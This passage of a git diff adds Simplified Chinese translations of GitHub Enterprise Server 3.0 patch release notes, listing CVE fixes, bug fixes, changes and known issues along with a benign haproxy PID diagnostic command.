3.0+,最低基础设施要求已经增加。有关详细信息,请参阅“[关于 GitHub Enterprise Server 3.0 及更高版本的最低要求](/admin/enterprise-management/upgrading-github-enterprise-server#about-minimum-requirements-for-github-enterprise-server-30-and-later)”。" +sections: + security_fixes: + - '**高:**在 GitHub Enterprise Server 中发现了一个不适当的访问控制漏洞,该漏洞允许经过身份验证的实例用户通过专门制定的拉取请求和 REST API 请求获得对未经授权存储库的写入权限。攻击者需要能够创建目标存储库分支,组织拥有的专用存储库默认禁用该设置。分支保护(如所需的拉取请求审查或状态检查)将防止未经授权的提交在未进行进一步审查或验证的情况下合并。此漏洞编号为 CVE-2021-22861。此问题通过 [GitHub Bug 赏金计划](https://bounty.github.com) 报告。' + - '**高:**在 GitHub Enterprise Server GraphQL API 中发现了一个不适当的访问控制漏洞,该漏洞允许经过身份验证的实例用户在未经适当授权的情况下修改拉取请求的维护员协作权限。通过利用此漏洞,攻击者将能够访问在他们作为维护员的存储库上打开的拉取请求的头部分支。默认情况下会为组织拥有的专用存储库禁用分支,可以防止此漏洞。此外,分支保护(如所需的拉取请求审查或状态检查)将防止未经进一步审查或验证的未授权提交被合并。此漏洞编号为 CVE-2021-22863。此问题通过 [GitHub Bug 赏金计划](https://bounty.github.com) 报告。' + - '**高:**在 GitHub Enterprise Server 中发现了一个不适当的访问控制漏洞,该漏洞允许能够创建存储库分支的经过身份验证的用户泄露分支父存储库的操作机密。此漏洞是由于一个缺陷导致的,该缺陷允许将拉取请求的基本引用更新为指向任意 SHA 或分支存储库外部的其他拉取请求。通过在 PR 中建立此不正确的引用,可以绕过操作机密从分支发送工作流的限制。此漏洞影响 GitHub Enterprise Server 版本 3.0.0、3.0.0.rc2 和 3.0.0.rc1,编号为 CVE-2021-22862。此漏洞由 GitHub Bug 赏金计划进行报告。' + - '**中:**来自 GitHub Pages 内部版本的 GitHub 令牌最终可能会出现在日志中。' + - '包已更新到最新的安全版本。' + bugs: + - '在某些情况下,负载均衡器运行状况检查可能导致 babld 日志全是有关代理协议的错误。' + - 'HTTP 标头在特定响应中不符合 HTTP RFC 标准,如 304 存档的状态。' + - '在启用了依赖项关系图功能的主机 Python 存储库的实例中,由于根目录磁盘中充满了错误日志,实例可能会变得无响应。' + - '在 GitHub Enterprise 备份实用程序快照期间,信息性消息被无意中记录为错误,这导致侦听输出到 stderr 的 cron 作业在安排备份时发送不必要的电子邮件。' + - '在 VMWare ESX 6.7 上,初始配置可能会在创建主机密钥时挂起,使实例无法通过 SSH 访问。' + - '启用 GitHub Actions 时,在管理控制台中禁用维护模式失败。' + - '“包创建”设置显示在组织成员设置页面上,但此功能尚不可用。' + - '在“安全和分析”页面上启用机密扫描时,对话框错误提及专用存储库。' + - '编辑 wiki 页面时,用户单击“保存”按钮时可能会遇到 500 错误。' + - '使用主题替代名称中具有多个名称的证书的 S/MIME 签名提交将在提交提示标记中错误地显示为“未验证”。' + - '用户在配置了 LDAP 身份验证的实例上执行 git 操作时会看到 500 错误。' + - '已暂停的用户在添加到团队时会收到电子邮件。' + - '当存储库具有大量清单时,“见解”->“依赖项关系图”选项卡上会显示错误“已达到此存储库允许的最大清单文件数(20)”。有关详细信息,请参阅[可视化限制](https://docs.github.com/en/github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies#are-there-limits-which-affect-the-dependency-graph-data)。' + - '即使存储库未启用 Actions,也可修复向用户显示“设置代码扫描 CodeQL 操作”选项的问题。' + - '无法成功启用或禁用企业帐户设置中的“防止存储库管理员更改匿名 Git 读取访问权限”复选框。' + - '用于显示强制消息的模式不包含垂直滚动栏,这意味着无法完整查看较长的消息。' + - 'Redis 有时在硬重启或应用程序故障后无法启动。' + - '依赖项关系图无法解析 `setup.py` Python 清单文件,导致日志中出现 HTTP 500 错误。该问题合并重复日志记录问题,增加了根卷的占用。' + changes: + - '多个用户下载同一存档时,请同时满足请求,以提高性能。' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。' + - '在升级期间不会维护自定义防火墙规则。' + - 'Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。' + - '如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。' + - '启用维护模式后,某些服务会继续列为“活动进程”。确定的服务预计将在维护模式期间运行。如果遇到此问题并且不确定,请联系 [GitHub Enterprise 支持](https://support.github.com/contact)。' + - '向 `/var/log/messages`、`/var/log/syslog` 和 `/var/log/user.log` 写入重复日志记录会增加根卷占用。' + - '用户无需选中所有复选框即可关闭强制消息。' + - '[预接收挂钩脚本](/admin/policies/enforcing-policy-with-pre-receive-hooks)无法写入临时文件,可能会导致脚本执行失败。使用预接收挂钩的用户应在暂存环境中进行测试,以查看脚本是否需要写入权限。' + - '存储库[部署密钥](/developers/overview/managing-deploy-keys)无法与包含 LFS 对象的存储库一起使用。' + - 如果笔记本包含非 ASCII UTF-8 字符,则 Web UI 中的 Jupyter Notebook 渲染可能会失败。 + - 'Web UI 中的 reStructuredText (RST) 渲染可能会失败,并显示原始 RST 标记文本。' + - '依赖项关系图无法解析 `yarn.lock` Javascript 清单文件,导致日志中出现 HTTP 500 错误。' + - '从早期版本的 GitHub Enterprise Server 升级的具有自定义时区的实例可能在 Web UI 中具有不正确的时间戳。' + - 'Pages 的旧内部版本未清理,可能会占用用户磁盘 (`/data/user/`)。' + - '在合并拉取请求后删除分支时,尽管分支删除成功,但仍会出现错误消息。' + - |用户可能会遇到资产问题,例如头像未加载,或推送/拉取代码失败。这可能是由于 `haproxy-cluster-proxy` 服务中的 PID 不匹配造成的。若要确定实例是否受到影响: + + + +**单实例** + + + +1.在[管理 shell](https://docs.github.com/en/enterprise-server/admin/configuration/accessing-the-administrative-shell-ssh) (SSH) 中运行以下代码: + + + + ``` + + if [ $(cat /var/run/haproxy-cluster-proxy.pid) -ne $(systemctl show --property MainPID --value haproxy-cluster-proxy) ]; then echo ''Main PID of haproxy-cluster-proxy does not match /var/run/haproxy-cluster-proxy.pid''; fi + + ``` + + + +2.如果显示不匹配,请重启实例。 + + + +**群集或高可用性配置** + + + +1.在[管理 shell](https://docs.github.com/en/enterprise-server/admin/configuration/accessing-the-administrative-shell-ssh) (SSH) 中运行以下代码: + + + + ``` + + ghe-cluster-each -- ''if [ $(cat /var/run/haproxy-cluster-proxy.pid) -ne $(systemctl show --property MainPID --value haproxy-cluster-proxy) ]; then echo ''Main PID of haproxy-cluster-proxy does not match /var/run/haproxy-cluster-proxy.pid''; fi'' + + ``` + + + +2.如果显示一个或多个节点受到影响,请重启受影响的节点。 + +| + - '当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/10.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/10.yml new file mode 100644 index 0000000000..1d7b2535a6 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/10.yml @@ -0,0 +1,19 @@ +date: '2021-06-24' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 管理控制台中可能会积累大量 `gauge-dependency-graph-api-dispatch_dispatch` 指标。 + - sshd 服务有时无法从 Google Cloud Platform 上运行的实例启动。 + - 旧的升级文件将保留在用户磁盘上,有时会导致空间不足。 + - 日志轮换有时会中断后台作业。 + - '`gh-migrator` 显示其日志输出的路径不正确。' + - 如果导出存档包含来自不在存档中的团队的审查请求,则导出存档将无法导入。 + known_issues: + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/11.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/11.yml new file mode 100644 index 0000000000..7abc22b1f8 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/11.yml @@ -0,0 +1,26 @@ +date: '2021-07-14' +sections: + security_fixes: + - '**高:**在 GitHub Enterprise Server 中发现了一个在构建 GitHub Pages 站点时可以利用的路径遍历漏洞。GitHub Pages 使用的用户控制配置选项没有受到足够的限制,因此可以读取 GitHub Enterprise Server 实例上的文件。要利用此漏洞,攻击者需要获得在 GitHub Enterprise Server 实例上创建和构建 GitHub Pages 站点的权限。此漏洞影响 3.1.3 之前的所有 GitHub Enterprise Server 版本,编号为 CVE-2021-22867。此漏洞通过 GitHub Bug 悬赏计划报告。' + - 包已更新到最新的安全版本。 + bugs: + - 未配置 SAML 到期日期变量。 + - 应用程序服务在配置应用期间的运行状况检查将失败,然后才能进入正常状态。 + - '如果启用了 HTTP 代理,则 `ghe-cluster-config-node-init` 会在群集设置期间失败。' + - 预接收挂钩可能会遇到错误“未能解析当前可执行文件的完整路径”,因为 `/proc` 未装载至容器上。 + - Collectd 在初始启动后不会解析转发目标主机名。 + - 如果其中部分仓库因受法律保护而无法被清除,则清除陈旧的已删除仓库的作业可能会失败。 + - 运行 `git nw-gc --pristine` 会导致错误。 + - 后台作业将排入 `spam` 队列,这些作业不会得到处理。 + - 当 PR 合并失败后重新尝试时,首选合并方法将被重置。 + - 在使用 LDAP 身份验证模式的实例的用户协调过程中,Git 推送可能导致 500 内部服务器错误。 + changes: + - 通过跳过未更改的 IP 允许防火墙规则,提高了配置应用效率,可在大型集群上节省大量时间。 + known_issues: + - 在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。 + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/12.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/12.yml new file mode 100644 index 0000000000..83ed9e4d38 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/12.yml @@ -0,0 +1,21 @@ +date: '2021-07-27' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - '自定义预接收挂钩可能会导致这样的错误:“错误:/data/user/repositories/0/nw/12/34/56/7890/network.git/objects 对象目录不存在,请查看 .git/objects/info/alternates”。' + - 对于使用 HTTP 代理的所有用户,不支持使用未经身份验证的 HTTP 代理来进行页面容器构建。 + - 如果未启用依赖项关系图,则每当用户访问存储库的 `/settings` 页时,都会记录大量 503 错误。 + - 仅当用户通过团队或通过协作者状态与存储库有关联,或使用 `?type=internal` 参数查询时,才会返回内部存储库。 + - 失败的后台作业有无限制的重试,这可能会导致大的队列深度。 + - 如果在未启用依赖项关系图但启用了内容分析的情况下尝试运行将漏洞与 GitHub.com 同步的计划作业,则会生成大量 503 错误。 + changes: + - "`babeld` 的日志现在包含一个用于 HTTP ref 广告请求的 `cmd` 字段,而不是仅在协商请求期间包含该字段。" + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/13.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/13.yml new file mode 100644 index 0000000000..dbc8a9831c --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/13.yml @@ -0,0 +1,17 @@ +date: '2021-08-10' +sections: + bugs: + - 如果在不运行定期计划备份的情况下启用 GitHub Actions,则 MSSQL 事务日志可能会无限增长,并且会占用设备数据磁盘上的所有可用空间,从而可能导致中断。 + - 对“存储库创建”组织设置所做更改的审核日志条目不准确。 + - "过多记录 `ActionController::UnknownFormat` 异常会导致不必要的磁盘使用。" + - "LDAP `group_dn` 值超过 255 个字符将导致记录错误:`Data truncated for column 'group_dn' at row 1`。" + changes: + - 滥用速率限制现在称为辅助速率限制,因为它们限制的行为并不总是滥用。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可能创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能会将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/14.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/14.yml new file mode 100644 index 0000000000..152449a873 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/14.yml @@ -0,0 +1,21 @@ +date: '2021-08-24' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 将非常大的图像或动态 GIF 附加到图像或拉取请求将会失败。 + - 与自动更新相关的日志消息 (`Adding h/m/s random time.`) 被记录到系统日志中。 + - '使用 bash 子 shell 的自定义预接收挂钩将返回错误:`No such file or directory`。' + - 创建命名管道 (FIFO) 的自定义预接收挂钩会崩溃或挂起,从而导致超时错误。 + - 向审核日志高级搜索页面添加筛选器时,不会使用正确的 Facet 前缀和值来实时填充查询文本框。 + - "导致请求失败的内部 API 的 Git 挂钩返回异常 `undefined method body for \"success\":String (NoMethodError)`,而不是返回显式的 `nil`。" + - 删除集成时,可能还会删除不相关的 OAuth 应用程序或集成。 + - 添加包含表情符号字符的必填消息后,尝试查看或更改消息将返回 500 内部服务器错误。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 将在升级过程中删除自定义防火墙规则。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中 blob 文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置中脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/15.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/15.yml new file mode 100644 index 0000000000..73505c6421 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/15.yml @@ -0,0 +1,17 @@ +date: '2021-09-07' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - 如果未启动复制,则尝试通过使用 `ghe-repl-teardown` 为新添加的副本节点指定 UUID 来拆解该节点将失败,且不会报告错误。 + - GitHub Pages 生成将通过外部代理(如果配置了外部代理)进行传递。 + - 创建子进程的自定义预接收挂钩在其环境中缺少 `PATH` 变量,从而导致“无此类文件或目录”错误。 + - 如果启用了 `mysql-auto-failover`,则 MySQL 可在升级期间进行故障转移。 + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/16.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/16.yml new file mode 100644 index 0000000000..cf2c76bcb0 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/16.yml @@ -0,0 +1,18 @@ +date: '2021-09-24' +sections: + security_fixes: + - '**高:**在 {% data variables.product.prodname_ghe_server %} 中发现了一个在构建 {% data variables.product.prodname_pages %} 站点时可以利用的路径遍历漏洞。{% data variables.product.prodname_pages %} 使用的用户控制配置选项没有受到足够的限制,因此可以读取 {% data variables.product.prodname_ghe_server %} 实例上的文件。要利用此漏洞,攻击者需要获得在 {% data variables.product.prodname_ghe_server %} 实例上创建和构建 {% data variables.product.prodname_pages %} 站点的权限。此漏洞影响 3.1.8 之前的所有 {% data variables.product.prodname_ghe_server %} 版本,并在 3.1.8、3.0.16 和 2.22.22 中修复。这是 CVE-2021-22867 修复不完整的结果。此漏洞通过 GitHub Bug 悬赏计划报告,编号为 CVE-2021-22868。{% comment %} https://github.com/github/pages/pull/3360, https://github.com/github/pages/pull/3357 {% endcomment %}' + - '**中:**{% data variables.product.prodname_ghe_server %} 中的不正确访问控制漏洞允许工作流作业在其不应访问的自承载运行器组中执行。这会影响使用自承载运行器组进行访问控制的客户。由于请求期间的身份验证检查不正确,有权访问一个企业运行器组的存储库可以访问组织内的所有企业运行器组。这可能会导致代码被不正确的运行器组无意运行。此漏洞影响 3.0.0-3.0.15 以及 3.1.0-3.1.7 的所有 {% data variables.product.prodname_ghe_server %} 版本,并在 3.0.16 和 3.1.8 中修复。其编号为 CVE-2021-22869。{% comment %} https://github.com/github/enterprise2/pull/27003 {% endcomment %}' + bugs: + - '在维护模式期间,Resque 工作进程计数显示不正确。{% comment %} https://github.com/github/enterprise2/pull/26898, https://github.com/github/enterprise2/pull/26883 {% endcomment %}' + - '在群集模式下,分配的 memcached 内存可能为零。{% comment %} https://github.com/github/enterprise2/pull/26927, https://github.com/github/enterprise2/pull/26832 {% endcomment %}' + - '请修复 {% data variables.product.prodname_pages %} 构建,以便考虑设备的 NO_PROXY 设置。这仅与配置了 HTTP 代理的设备有关。(更新时间:2021-09-30){% comment %} https://github.com/github/pages/pull/3360 {% endcomment %}' + - '即使不使用 `ghe-restore` 的 `--config` 选项,源实例的 GitHub Connect 配置也始终恢复到新实例。如果源实例和目标实例同时联机,这将导致与 GitHub Connect 连接和许可证同步发生冲突。该修复还需要将 backup-utils 更新到 3.2.0 或更高版本。[更新时间:2021-11-18]' + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/17.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/17.yml new file mode 100644 index 0000000000..ce84c24a99 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/17.yml @@ -0,0 +1,25 @@ +date: '2021-10-12' +sections: + security_fixes: + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/27034, https://github.com/github/enterprise2/pull/27010 {% endcomment %}' + bugs: + - '由于过于严格的虚拟内存或 CPU 时间限制,自定义预接收挂钩可能会失败。{% comment %} https://github.com/github/enterprise2/pull/26971, https://github.com/github/enterprise2/pull/26955 {% endcomment %}' + - '通过尝试使用 `ghe-cleanup-settings` 擦除所有现有配置设置,未能重启管理控制台服务。{% comment %} https://github.com/github/enterprise2/pull/26986, https://github.com/github/enterprise2/pull/26901 {% endcomment %}' + - '在通过 `ghe-repl-teardown` 拆解复制期间,Memcached 未能重启。{% comment %} https://github.com/github/enterprise2/pull/26992, https://github.com/github/enterprise2/pull/26983 {% endcomment %}' + - '在高负载期间,当上游服务未通过内部运行状况检查时,用户将收到 HTTP 503 状态代码。{% comment %} https://github.com/github/enterprise2/pull/27081, https://github.com/github/enterprise2/pull/26999 {% endcomment %}' + - '禁止预接收挂钩环境通过 Alpine 上的 BusyBox 调用 cat 命令。{% comment %} https://github.com/github/enterprise2/pull/27114, https://github.com/github/enterprise2/pull/27094 {% endcomment %}' + - '外部数据库密码以明文形式记录。{% comment %} https://github.com/github/enterprise2/pull/27172, https://github.com/github/enterprise2/pull/26413 {% endcomment %}' + - '运行 `ghe-config-apply` 时可能会显示错误的 `jq` 错误消息。{% comment %} https://github.com/github/enterprise2/pull/27203, https://github.com/github/enterprise2/pull/26784 {% endcomment %}' + - '从主群集数据中心故障转移到辅助群集数据中心成功,但随后故障转移回原始主群集数据中心时未能提升 Elasticsearch 索引。{% comment %} https://github.com/github/github/pull/193180, https://github.com/github/github/pull/192447 {% endcomment %}' + - '存储库自承载运行器的“站点管理员”页面返回 HTTP 500。{% comment %} https://github.com/github/github/pull/194205 {% endcomment %}' + - '在某些情况下,尝试查看“休眠用户”页面的 GitHub Enterprise 管理员会收到“502 网关错误”或“504 网关超时”响应。{% comment %} https://github.com/github/github/pull/194259, https://github.com/github/github/pull/193609 {% endcomment %}' + changes: + - '更有效地删除超出 Webhook 日志保留时段的 Webhook 日志。{% comment %} https://github.com/github/enterprise2/pull/27157 {% endcomment %}' + known_issues: + - "在没有任何用户的新建 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被移除。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能会导致某些预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/18.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/18.yml new file mode 100644 index 0000000000..2eb40f01e6 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/18.yml @@ -0,0 +1,15 @@ +date: '2021-10-28' +sections: + security_fixes: + - '多个已知弱 SSH 公钥已添加到拒绝列表中,无法再进行注册。此外,已知会生成弱 SSH 密钥的 GitKraken 版本(7.6.x、7.7.x 和 8.0.0)已被阻止注册新的公钥。' + - '包已更新到最新的安全版本。' + bugs: + - '拥有许多组织的用户无法使用应用程序的多个部分。' + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/19.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/19.yml new file mode 100644 index 0000000000..c474915c0c --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/19.yml @@ -0,0 +1,23 @@ +date: '2021-11-09' +sections: + security_fixes: + - "在 {% data variables.product.prodname_pages %} 中发现了一个在构建 {% data variables.product.prodname_ghe_server %} 时攻击者可利用来读取系统文件的路径遍历漏洞。要利用此漏洞,攻击者需要获得在 {% data variables.product.prodname_ghe_server %} 实例上创建和构建 {% data variables.product.prodname_pages %} 站点的权限。此漏洞影响 3.3 之前的所有 {% data variables.product.prodname_ghe_server %} 版本,并在 3.0.19、3.1.11 和 3.2.3 中修复。该漏洞通过 {% data variables.product.company_short %} Bug 悬赏计划报告,编号为 CVE-2021-22870。" + - 包已更新到最新的安全版本。 + bugs: + - "部分 Git 操作在升级 {% data variables.product.prodname_ghe_server %} 3.x 群集后失败,原因在于 HAProxy 配置。" + - 在群集模式下,Unicorn 工作线程计数可能会设置错误。 + - 在群集模式下,Resqued 工作线程计数可能会设置错误。 + - 如果 Ubuntu 简单防火墙 (UFW) 状态为非活动状态,则客户端无法在日志中清楚地看到它。 + - 某些页面和与 Git 相关的后台作业可能无法在具有某些群集配置的群集模式下运行。 + - "企业审核日志页面不会显示 {% data variables.product.prodname_secret_scanning %} 的审核事件。" + - '在查看文件时,不会警告用户有潜在危险的双向 unicode 字符。有关详细信息,请参阅 {% data variables.product.prodname_blog %} 中的“[有关双向 Unicode 文本的警告](https://github.co/hiddenchars)”。' + - Hookshot Go 发送了 Collectd 无法处理的分布类型指标,这导致解析错误激增。 + - "公共存储库显示来自 {% data variables.product.prodname_secret_scanning %} 的意外结果,类型为“未知令牌”。" + known_issues: + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/2.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/2.yml new file mode 100644 index 0000000000..bf8b72fe46 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/2.yml @@ -0,0 +1,78 @@ +date: '2021-03-16' +intro: "对于 {% data variables.product.prodname_ghe_server %} 3.0+,最低基础设施要求已经增加。有关详细信息,请参阅“[关于 GitHub Enterprise Server 3.0 及更高版本的最低要求](/admin/enterprise-management/upgrading-github-enterprise-server#about-minimum-requirements-for-github-enterprise-server-30-and-later)”。" +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - "在备份过程中尝试清理可清除的存储对象时,出现了“警告::源设备上未找到一个或多个存储对象。”的错误。" + - 依赖项关系图无法解析 `yarn.lock` JavaScript 